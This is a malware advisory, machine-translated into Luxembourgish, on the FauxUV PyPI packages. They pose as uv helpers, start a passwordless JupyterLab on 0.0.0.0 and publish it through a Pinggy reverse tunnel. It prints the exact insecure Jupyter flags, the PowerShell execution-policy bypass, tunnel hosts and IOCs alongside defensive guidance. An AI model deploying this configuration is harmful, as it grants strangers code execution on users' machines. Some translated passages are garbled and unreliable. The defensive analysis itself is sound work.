FauxUV: Gefälschte PyPI uv-Pakete maachen Jupyter fir den Internet op

FauxUV: gefälschte PyPI UV-Helfer, déi en net authentifizéierte Jupyter-Server fir den Internet opmaachen.

TL; DR

E Cluster vu PyPI-Paketen huet den Numm vun uv, de schnelle, immens populäre Rust-baséierte Python-Packagemanager, fir sech als UV-Hëllefer auszeginn. Si liwweren bal keng richteg Funktionalitéit. Wat se amplaz droen ass eng Windows-Payload, déi sech géint ... JupyterLab Server mat ausgeschalter Authentifikatioun an, a spéidere Versiounen, publizéiert et et um ëffentlechen Internet iwwer en ëmgedréinte Tunnel.

Dat ass déi ganz Geschicht an enger Zeil: den Numm vun engem vertrauenswürdege Tool als Lotterie, a JupyterLab als Motor fir d'Ausféierung vu Code op Distanz. E Jupyter Server leeft all Code aus, deen Dir an en net aginn hutt.ebook Zell; eng déi mat engem eidele Token gestart gëtt an un all Netzwierkinterface gebonnen ass, ass en oppene Interpreter, deen jiddwereen, deen de Port erreeche kann, fueren kann.

Mir verfollegen de Cluster als FauxUVDéi zwee ënnersichte Paketen sinn moon-uv (0.0.1-0.0.16) a my-magic-uv-helper (0.0.1), vum selwechten Operator publizéiert a live op PyPI zum Zäitpunkt vun der Analyse.

EcosystemPyPI
Formulenmoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Plattform gezieltWindows
KärverhalenNet authentifizéierte JupyterLab Server, iwwer en ëmgedréinte Tunnel am Internet publizéiert
Legitim Tools mëssbrauchtuv, JupyterLab, Cloudflared, Pinggy

De Köder: en Numm, deem Dir scho vertraut

uv ass ee vun de meescht installéierten Python Tools vun de leschten zwee Joer, also "en Hëllefer fir uv„ass e Pak, deen en Entwéckler ouni zweete Gedanken installéiert. FauxUV verbréngt seng Glafwierdegkeet ganz op dësen Numm. D'Pakete wéckelen den éierleche uv Installateur vun Astral - d'URLen an der Payload weisen op richteg, renomméiert Hoster - sou datt e kuerze Bléck nëmmen zouverlässeg Referenzen gesäit. Keen vun de Paketen füügt tatsächlech derbäi uv Funktionalitéit; den Numm ass déi ganz Verkleedung.

JupyterLab als RCE-Motor

Den zentrale Punkt vun der Notzlaascht ass e Launcher, deen JupyterLab start, wann all Schutzrail ewechgeholl gëtt:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

All Fändel hëlt e Schutz ewech, an d'Schrëft, déi geliwwert gouf, annotéiert se souguer (op der Originalchinesescher Sprooch): den eidelen Token „schalt Passwuert- a Tokenkontrollen aus — jidderee kann sech verbannen.“ Jupyter Labo ass eng legitim Datenwëssenschafts-IDE, awer kengebook Zell féiert arbiträr Code no Design aus. Op dës Manéier konfiguréiert a gebonnen un 0.0.0.0, et ass net méi eng IDE a gëtt zu enger net authentifizéierter Remote-Shell um Host - kee personaliséierte Malware-Binärprogramm néideg, just en Mainstream-Tool, dat an déi falsch Richtung gedréit gëtt.

Zwee ënnerstëtzend Stécker maachen dat erreechbar a widderhuelbar:

  • En Trigger fir eng roueg Installatioun. Fréi Versioune lafen PowerShell mat -ExecutionPolicy Bypass direkt vun setup.py on pip installéieren, am Hannergrond mat Feeler ënnerdréckt, sou datt Pip gesäit normal aus. Méi spéit Versioune réckelen déiselwecht Primitiv an en pip-uv Kommandozeilentool — an den automateschen Ausféieren zur Installatioun komplett ewech loossen.
  • En ëffentlechen Réckgängestunnel. E Server op 0.0.0.0 ass nach ëmmer nëmme vun Hoster erreechbar, déi op d'Maschinn route kënnen. E gebündelte Modul mécht eng [Pinggy]( op.https://pinggy.io/) SSH-Reverse-Tunnel, deen de lokale Jupyter-Port un eng ëffentlech Adress weiderleet, wouduerch dës Limit ewechgeholl gëtt. De geliwwerte Skript huet och - kommentéiert - en alternativen Wee mat Cloudflare sengem Wollek geflunn an engem Netsh Port-Proxy op eng Linode IP, déi datselwecht Zil iwwer eng aner Infrastruktur dokumentéiert.

Zesummegesat: installéiert de Pak, an e Windows-Host leeft schliisslech e passwuertlosen JupyterLab a publizéiert en um oppene Internet.

Wéi sech FauxUV entwéckelt huet

D'Versioune vu FauxUV goufen séier hannereneen verschéckt, an den Triggerpunkt vun der Notzlaascht ass iwwer si beweegt - eng Erënnerung drun, datt eng markéiert Versioun selten déi ganz Geschicht vun enger Pakungslinn erzielt.

Stage Versiounen Iwwerleeung Wat et derbäisetzt
Installatiounshaken moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py op Pip-Installatioun uv Installatioun + PATH Viraussetzung
CLI-Laafzäit moon-uv 0.0.5-0.0.13 pip-uv Kommando de passwuertlosen JupyterLab Launcher
Tunnel moon-uv 0.0.14-0.0.16 pip-uv Kommando en aktiven Pinggy Réckgängstunnel

Besonnesch ass den automateschen Installatiounsprozess geläscht an de spéideren, méi kapabelen Versiounen - also e Scanner deen nëmmen op Liewenszyklus zougeschriwwe gouf hooks géif déi nei Verëffentlechungen als bewäerten manner riskant, genau réckgängeg.

Indikatoren fir e Kompromëss

Bestätegt duerch d'Liesung vum Package-Quellcode; Endpunkten markéiert kommentéiert sinn an de Fichieren präsent, ginn awer net vun der analyséierter Versioun ausgeführt. Netzwierkindikatoren sinn desaktivéiert.

Type Luucht
Kommando installéieren powershell -ExecutionPolicy Bypass Den echten UV-Installatiounsprogramm eroflueden, zum Zäitpunkt vun der PIP-Installatioun
JupyterLab Fändelen --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Réckgängegen Tunnel (aktiv) free[.]pinggy[.]io:443 lokal Weiderleedung 127.0.0.1:8888
Tunnel-Host (kommentéiert) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (kommentéiert) 45[.]79[.]134[.]161 (Linode) iwwer netsh port-proxy
Persistenz setzt viraus %USERPROFILE%\.local\bin op de Benotzer PATH

Verhalenssignaler, op déi et wäert ass, opmierksam ze sinn, onofhängeg vun dëse genauen Zeilen: a pip installéieren dat entsteet powershell - Ausféierungspolitik Bypass; iergendeng jupyter Start vun der Kombinatioun Token="" mat –ip=0.0.0.0; an erausgoend SSH op *.pinggy.io vun engem Entwéckler oder enger CI-Maschinn.

Observéiert Verhalen an Hierkonft

Déi zwee Pakete deelen en Auteur an eng Method: den Numm vun engem vertrauenswürdege Tool, nëmmen Windows-Gating, fehlerënnerdréckt Hannergrondausféierung, an d'Ofhängegkeet vu renomméierten Tools, sou datt e kuerze Bléck nëmme renomméiert URLen gesäit. D'Quell enthält Kommentarer op chinesesch, déi d'Sécherheetsrelevant Fändelen kloer beschreiwen; mir mellen dës als observéierbar Aussoen an der Datei, net als eng Ausso iwwer e Motiv. Urspronk_erlaben Wäert an a colab.bat Dateinumm widdersprécht den informellen "deelt meng lokal Runtime" Workflows, déi fir Google Colab zirkulieren. Egal wéi den Urspronk ass, dat verpackt Resultat ass datselwecht.

Impakt a Richtlinne fir Verdeedeger

Wien ass FauxUV ausgesat? Windows Entwéckler a CI-Leefer, déi pip installéieren ee vun dëse Paketen. E passwuertlosen JupyterLab op 0.0.0.0 ass eng Remote-Code-Ausféierung fir jiddereen, deen de Port erreeche kann; den Tunnel läscht d'Limit "wien et erreeche kann". De Server leeft als den installéierende Benotzer a ierft d'Dateien, Tokens an Cloud-Umeldungsinformatioune vun deem Benotzer.

Firwat et einfach ass ze verpassen. All Netzwierkstring weist op en unerkannten Host - Astral, JupyterLab, Wollek geflunn, Pinggy, Colab. Et gëtt kee Malware-Binärdatei fir ze hashen a kee verschleierte Blob fir ze decodéieren. Reputatiouns- a Signaturbaséiert Scannen ënnerschätzen dëst, dofir ass d'Verhalensfro - Wat mécht d'Maschinn duerch d'Installatioun vun dësem Pak? — ass deen, deen et fängt.

Féierung:

  • Behandelt all Installatiounszäit powershell - Ausféierungspolitik Bypass als e Build-Breaking-Signal, egal wéi eng URL et ofrufft.
  • Alarméiert jupyter mat engem eidele Token gestart an –ip=0.0.0.0; déi Kombinatioun sollt ni op enger Aarbechtsstatioun oder engem Runner optrieden.
  • Iwwerwaachung fir erausgehend SSH un Tunnel Provider (*.pinggy.io, *.trycloudflare.com) aus Entwéckler- an CI-Ëmfeld.
  • installéieren uv vun [senger offizieller Quell](https://docs.astral.sh/uv/) a skeptesch géintiwwer "Hëllefspakete" vun Drëttubidder sinn, déi en Tool aféieren, dat scho trivial ze installéieren ass.
  • Ofhängegkeete beim Upgrade festpinnen an nei iwwerpréiwen - eng Paketzeil kann nei Fäegkeeten Versioun fir Versioun wuessen loossen.
sca-tools-software-zesummesetzungsanalyse-tools
Prioritäriséiert, behënnert a séchert Är Softwarerisiken
Kritt Äre gratis Kont.
Kee Kreditkaart erfuerderlech.

Séchert Är Softwareentwécklung a Liwwerung

mat der Xygeni Produkt Suite